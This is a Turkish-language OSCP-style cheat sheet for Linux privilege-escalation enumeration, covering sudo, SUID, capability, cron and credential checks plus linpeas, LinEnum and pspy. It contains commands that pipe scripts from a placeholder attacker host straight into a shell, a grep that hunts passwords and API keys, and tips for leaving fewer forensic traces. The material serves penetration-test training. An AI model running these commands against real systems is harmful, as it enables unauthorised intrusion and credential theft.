FOOTHOLD Metodoloji Cheat-sheet
Enum ✓ EXAM-SAFE kolay

Linux PrivEsc Enumeration Metodolojisi (linpeas / LinEnum / pspy / Manuel Checklist)

Bir Linux host'a ilk shell düştükten sonra yetki yükseltme için izlenecek sistematik enumeration metodolojisi: önce manuel quick-wins (id, sudo -l, SUID, writable dirs), sonra otomatik araçlar (linpeas, LinEnum) ve süreç gözlemi (pspy). OSCP için linpeas çıktısının nasıl okunacağı ve neyin önce toplanacağı.

Bilgi: ÖN KOŞULLAR
  • Hedefte düşük yetkili bir shell (TTY veya non-TTY)
  • Dosya transferi için bir yöntem (HTTP server, scp, base64)
┌──

Komutlar

shell ✓ EXAM-SAFE user
id; whoami; hostname; uname -a; cat /etc/os-release
İlk 10 saniye: kullanıcı, grupları (docker/lxd/adm/sudo?), kernel sürümü ve dağıtım. Kernel exploit ve grup-tabanlı privesc için temel. HackTricks — Linux Privilege Escalation
sudo ✓ EXAM-SAFE user
sudo -l
Parolasız/parolalı çalıştırılabilen sudo komutlarını listeler. En yüksek değerli ilk kontrol — GTFOBins ile eşleştir. HackTricks — Linux Privilege Escalation (sudo -l)
find ✓ EXAM-SAFE user
find / -perm -4000 -type f 2>/dev/null
SUID root binary'leri bulur. GTFOBins'te SUID girişi olan her biri potansiyel privesc. HackTricks — Linux Privilege Escalation (SUID)
find ✓ EXAM-SAFE user
find / -perm -2000 -type f 2>/dev/null
SGID binary'leri listeler — SUID kadar yaygın değil ama gözden kaçmamalı. HackTricks — Linux Privilege Escalation (SGID)
getcap ✓ EXAM-SAFE user
getcap -r / 2>/dev/null
File capabilities taraması (cap_setuid+ep gibi). python/perl/tar üzerinde setuid capability = root. HackTricks — Linux Capabilities
curl ✓ EXAM-SAFE user
curl -s http://{{LHOST}}:{{LPORT}}/linpeas.sh | sh
linpeas'ı diske yazmadan bellekten çalıştırır (forensik iz azaltır). Kali tarafında ilgili dizinde `python3 -m http.server {{LPORT}}` ile servis et. PEASS-ng (carlospolop) — linPEAS README
linpeas ✓ EXAM-SAFE user
./linpeas.sh -a 2>&1 | tee /dev/shm/.lp.txt
Diske indirildiyse: -a tüm kontrolleri çalıştırır, çıktıyı /dev/shm'e (tmpfs, RAM) yazar. RED/YELLOW (95% PE) bulgularına öncelik ver. PEASS-ng (carlospolop) — linPEAS README
wget ✓ EXAM-SAFE user
wget -q http://{{LHOST}}:{{LPORT}}/LinEnum.sh -O /tmp/le.sh && bash /tmp/le.sh -t
LinEnum alternatif/ikinci görüş aracı; -t thorough testleri açar. linpeas ile çapraz doğrulama için. rebootuser/LinEnum — README
pspy ✓ EXAM-SAFE user
./pspy64 -pf -i 1000
Root yetkisi olmadan cron job'ları ve kısa ömürlü process'leri canlı izler. Gizli root cron/script'leri yakalamak için bekletip gözlemle. -p process, -f filesystem event, -i ms aralığı. DominicBreuker/pspy — README
shell ✓ EXAM-SAFE user
find / -writable -type d 2>/dev/null | grep -v proc
Yazılabilir dizinler — payload bırakma, PATH hijack ve cron/wildcard saldırıları için landing zone tespiti. HackTricks — Linux Privilege Escalation (Writable folders)
shell ✓ EXAM-SAFE user
ls -la /etc/cron* /etc/crontab; cat /etc/crontab; crontab -l 2>/dev/null
Cron yapılandırması ve writable script'leri. pspy ile birlikte zamanlanmış görev privesc'inin temeli. HackTricks — Linux Privilege Escalation (Cron jobs)
shell ✓ EXAM-SAFE user
ss -tlnp 2>/dev/null; netstat -tlnp 2>/dev/null
Sadece localhost'a bind edilmiş servisler (127.0.0.1:3306, :6379 vb.) — internal-only servisler genelde privesc/pivot vektörü. HackTricks — Linux Privilege Escalation (Internal ports)
shell ✓ EXAM-SAFE user
grep -rinE 'password|passwd|pwd|secret|api[_-]?key' /var/www /home /etc /opt 2>/dev/null | head -50
Config dosyalarında gömülü credential avı — web app config'leri, .env, backup dosyaları. Reuse için DB/SSH parolaları bulunur. HackTricks — Linux Privilege Escalation (Search for credentials)

Amaç ve Sıralama

Linux host’a ilk shell düştüğünde panikle linpeas çalıştırmadan önce manuel quick-win’leri çek. Otomatik araçlar yavaş ve gürültülüdür; sınavda zaman ve odak kıymetlidir. Doğru sıra:

  1. Kim ve nerede: id, uname -a, /etc/os-release. Çıkan grup üyelikleri (docker, lxd, disk, adm, sudo) tek başına root yolu olabilir.
  2. sudo -l: En yüksek değerli tek komut. Parolasız bir giriş varsa GTFOBins’e bak.
  3. SUID/SGID/caps: find / -perm -4000, getcap -r /. GTFOBins eşleşmesi = bitti.
  4. Otomatik tarama: linpeas (tercihen fileless curl | sh), gerekirse LinEnum ile ikinci görüş.
  5. pspy ile bekle: Gizli root cron’ları yalnızca process’leri canlı izleyerek yakalarsın; dosya sisteminde görünmez.

Önce Neyi Topla (Loot Priority)

  • Credential’lar: .env, web app config, ~/.bash_history, ~/.ssh/, DB config’leri. Reuse OSCP’de #1 vektör.
  • Writable yerler: PATH hijack, cron script overwrite, wildcard injection için.
  • Internal servisler: ss -tlnp ile sadece 127.0.0.1’e bind olanlar (Redis, MySQL, internal web).

linpeas Çıktısını Okuma

linpeas renk kodlu çıktı verir: kırmızı+sarı arka plan = %95 privesc ihtimali, kırmızı = ilginç, sarı = bakmaya değer. Çıktıyı tee ile /dev/shm’e (RAM tabanlı, iz bırakmaz ve disk dolu olsa bile çalışır) yaz, sonra less -r ile renkleri koruyarak oku. Sınavda her satırı okuma — RED/YELLOW bloklarına atla.

pspy Kullanım İncelikleri

pspy root gerektirmez çünkü procfs’i poll eder. Bir cron’un periyodunu bilmiyorsan en az 2-3 dakika bekleterek izle. Çıkan UID=0 process’lerin komut satırını incele: writable bir script mi çağırıyor, relative path mi kullanıyor (PATH hijack), tar/rsync wildcard’ı mı var.

Gotcha’lar

  • linpeas’ı 2>/dev/null ile boğma — bazen STDERR’de yetkisiz okuma denemeleri privesc ipucu verir.
  • Non-TTY shell’de sudo -l parola istiyorsa önce lnx-shell-upgrade ile TTY yükselt (python3 -c 'import pty;pty.spawn("/bin/bash")').
  • Araçları statik/uygun mimaride indir: pspy64 vs pspy32, hedefin uname -m çıktısına göre seç.
  • /dev/shm ve /tmp çoğu zaman noexec değildir — binary çalıştırma alanı olarak kullan; değilse /dev/shm dene.
┌──

Kaynaklar

0/15 set